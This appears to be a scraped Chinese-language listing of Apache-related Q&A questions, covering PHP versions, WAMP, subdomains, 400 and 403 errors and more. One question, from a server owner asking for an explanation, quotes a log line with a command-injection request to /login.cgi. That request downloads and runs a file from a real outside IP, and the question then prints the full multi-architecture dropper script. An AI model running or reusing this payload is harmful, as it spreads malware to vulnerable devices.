标签: apache-http-server

如何确定系统上是否安装了 Apache?

我的计算机上有 Linux Mint,但我不知道如何确定 Apache2 是否在其上或实际安装在何处。我http://localhost使用 URL运行我的网络浏览器(安装了 PHP)并且它工作正常。

linux apache-http-server linux-mint

32
推荐指数
3
解决办法
16万
查看次数

这个 bash 脚本有什么作用?[黑客尝试]

我一直在我的服务器上注意到 apache 日志,最近出现了以下奇怪的行:

156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0"

所以我做了一个自定义的 Fail2Ban 过滤器并开始禁止请求这些 /login.cgi URL 的 IP。

但我很好奇他们想要做什么,所以我拉了他们试图执行的脚本,我似乎无法弄清楚它到底做了什么。关于删除 /var 和 /tmp 中的 arch 文件夹?

无论如何,这里是:

#!/bin/sh
u="asgknskjdgn"
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
http_server="80.211.173.159"
http_port=80
cd /tmp/||cd /var/
for name in $bin_names
    do
    rm -rf $u
    cp $SHELL $u
    chmod 777 $u
    >$u
    wget http://$http_server:$http_port/$name -O -> $u
    ./$u $name
done
Run Code Online (Sandbox Code Playgroud)

linux apache-http-server bash shell-script

32
推荐指数
2
解决办法
4516
查看次数

为什么 phpinfo() 和 CLI 中的 PHP 版本不同?

我意识到phpinfo()php -v(在 CLI 中)报告的 PHP 版本之间存在匹配错误。

phpinfo():  5.5.24
php -v: 5.6.9
Run Code Online (Sandbox Code Playgroud)

我在 Mac OS X 10.10 (Yosemite) 上工作并安装了一个库 ( php-version) 来尝试管理 PHP 版本。

它报告我的笔记本电脑上安装了 3 个不同的版本:

  5.4.41
  5.5.25
* 5.6.9
Run Code Online (Sandbox Code Playgroud)

我想在 Apache 和 CLI 中设置相同版本的 PHP。

如何告诉 Apache 使用哪个 PHP 版本?

我试图在我的httpd.conf

LoadModule php5_module    /usr/local/opt/php56/libexec/apache2/libphp5.so
Run Code Online (Sandbox Code Playgroud)

然后:

sudo apachectl restart
Run Code Online (Sandbox Code Playgroud)

但这一切都没有解决问题……在我的 PHP 信息中,我仍然有:5.5.24

apache-http-server php

31
推荐指数
2
解决办法
4万
查看次数

Windows 上的 Apache 2.4 响应缓慢,在提供某些动态页面时挂起

(我知道这个问题的答案。发布这个只是为了与社区分享答案)

我的本地 (Windows 7) Apache 2.4 实例在提供某些 URL 时遇到延迟挂断,具体取决于我使用哪个浏览器访问这些 URL

使用 Firefox/Chrome,Apache对某些 URL 的响应。在任何给定的 URL 上,大约有 20% 的时间出现缓慢。当它确实发生时,有 5 秒的延迟,在此期间 Firefox 会显示“正在等待...”状态。

使用 Internet Explorer 9,Apache 只是挂起并停止服务任何请求(使用任何浏览器),直到它重新启动。

  • 这似乎只发生在动态 (PHP) 请求中,但不是全部。事实上,它只发生在一个特定的站点上。同一台机器上的其他基于 PHP 的站点工作正常。
  • 有问题的站点由大量子域 (VirtualHosts) 组成,可能重要也可能不重要。
  • 禁用 Windows 防火墙和 Comodo 防火墙无济于事。
  • “繁忙”页面的问题似乎更频繁(对 IFRAMES 等的额外请求)

我尝试了许多更改httpd.conf(例如禁用 KeepAlive、EnableMMAP、HostnameLookups),但似乎没有任何效果。

windows windows-7 apache-http-server comodo-firewall

30
推荐指数
1
解决办法
3万
查看次数

如何在基于名称的虚拟主机上创建子域?

我有基于名称的托管,我们称之为my.address.com。我的朋友有一个“普通”地址,address.com并给了我一个可以通过 SSH 访问的虚拟机。

他还用端口创造了一些魔法,现在,安装 Apache 后,我可以/var/www通过my.address.com.

所以,问题是,我怎样才能创建一个子域test.my.address.com

Apache 的 Listen Directive应该有一些魔力,但我无法弄清楚。另外,我知道如何使用 Apache 创建本地可用的站点,但它不一样。

apache-http-server subdomain virtual-host

27
推荐指数
1
解决办法
10万
查看次数

我需要做什么才能让我的 Raspberry Pi 托管一个网页,该网页带有实时指示 CPU 温度、CPU 负载等的刻度盘?

我擅长 Unix 命令和脚本,但我几乎没有网络经验。我有一个脚本可以获取我感兴趣的指标,例如 CPU 负载或系统温度,并每 10 秒更新一次文件。我想将我的 iPad 指向由我的 Raspberry Pi 托管的本地网站,该网站具有此数据的实时更新图形表示。

我在设置简单的 Apache Web 服务器之前工作过,并且我可以编写 HTML 和 JavaScript。除此之外,我迷路了,需要有人为我指明正确的方向。

unix apache-http-server gui raspberry-pi

27
推荐指数
3
解决办法
4399
查看次数

如何将新的 PHP 版本添加到 WAMP

我正在尝试安装 PHP 5.3.8 以使用 WAMP (Windows)。

我是从PHP网站下载的,复制到bin文件夹下,在wampmanager.ini中加入这一行:

Type: item; Caption: "5.3.8"; Action: multi; Actions:switchPhp5.3.8;
Run Code Online (Sandbox Code Playgroud)

和:

[switchPhp5.3.8]
Action: service; Service: wampapache; ServiceAction: stop; Flags: ignoreerrors waituntilterminated
Action: run; FileName: "c:/wamp/bin/php/php5.3.0/php-win.exe";Parameters: "switchPhpVersion.php 5.3.8";WorkingDir: "c:/wamp/scripts"; Flags: waituntilterminated
Action: run; FileName: "c:/wamp/bin/php/php5.3.0/php-win.exe";Parameters: "-c . refresh.php";WorkingDir: "c:/wamp/scripts"; Flags: waituntilterminated
Action: run; FileName: "net"; Parameters: "start wampapache"; ShowCmd: hidden; Flags: waituntilterminated
Action: resetservices
Action: readconfig;
Run Code Online (Sandbox Code Playgroud)

但它不起作用...

在我编辑它并启动 WAMP 后,这些更改将从 ini 文件中删除。

windows-7 apache-http-server php wamp

25
推荐指数
3
解决办法
9万
查看次数

如何在 Ubuntu 上安装 SQLite PDO 扩展

默认的 Ubuntu PHP 包不包含 PDO SQLite 扩展。如何安装 SQLite PDO 扩展?是否有一个可以通过它轻松安装的软件包apt-get

apache-http-server php sqlite ubuntu

24
推荐指数
3
解决办法
9万
查看次数

为什么 URL 中的百分号会导致 HTTP 400 Bad Request 错误?

我在 Web 浏览器中错误输入网页的 URL 时偶然发现了这一点。

为什么访问http://example.com/%会导致抛出 HTTP 400 Bad Request 错误?服务器是否在百分号之后或之前期待其他内容?

这似乎发生在 Apache 和 Nginx 服务器上。

apache-http-server http webserver nginx

24
推荐指数
2
解决办法
2万
查看次数

Mac OS X 本地主机上的 403 禁止错误

我在 Mac OS X 10.6 的系统偏好设置中设置了网络共享,然后单击它给我的链接。不幸的是,Apache 给了我这个 403 错误:

禁止的

您无权访问此服务器上的 /~myusername/index.html。

访问日志显示: 10.0.1.2 - - [30/Jun/2010:16:25:15 -0700] "GET /~myusername/ HTTP/1.1" 403 210

错误日志显示: [Wed Jun 30 16:26:09 2010] [error] [client 10.0.1.2] client denied by server configuration: /Users/myusername/Sites/

奇怪的是,访问http://localhost工作正常。只是我遇到了两个用户文件夹的问题,另一个比我的系统升级新的用户文件夹工作正常。

我以前在 Leopard 的机器上使用过这个,所以我把所有东西都改成~/Sites了 755,这没有任何好处。有什么建议?我想我已经对我的机器做了一些导致这种情况的事情,因为我无法想象苹果会在这样的事情上搞砸。

我确实用这些说明设置了 PEAR ,但我不知道这是否可能是它的原因。

apache-http-server osx-snow-leopard macos

23
推荐指数
4
解决办法
9万
查看次数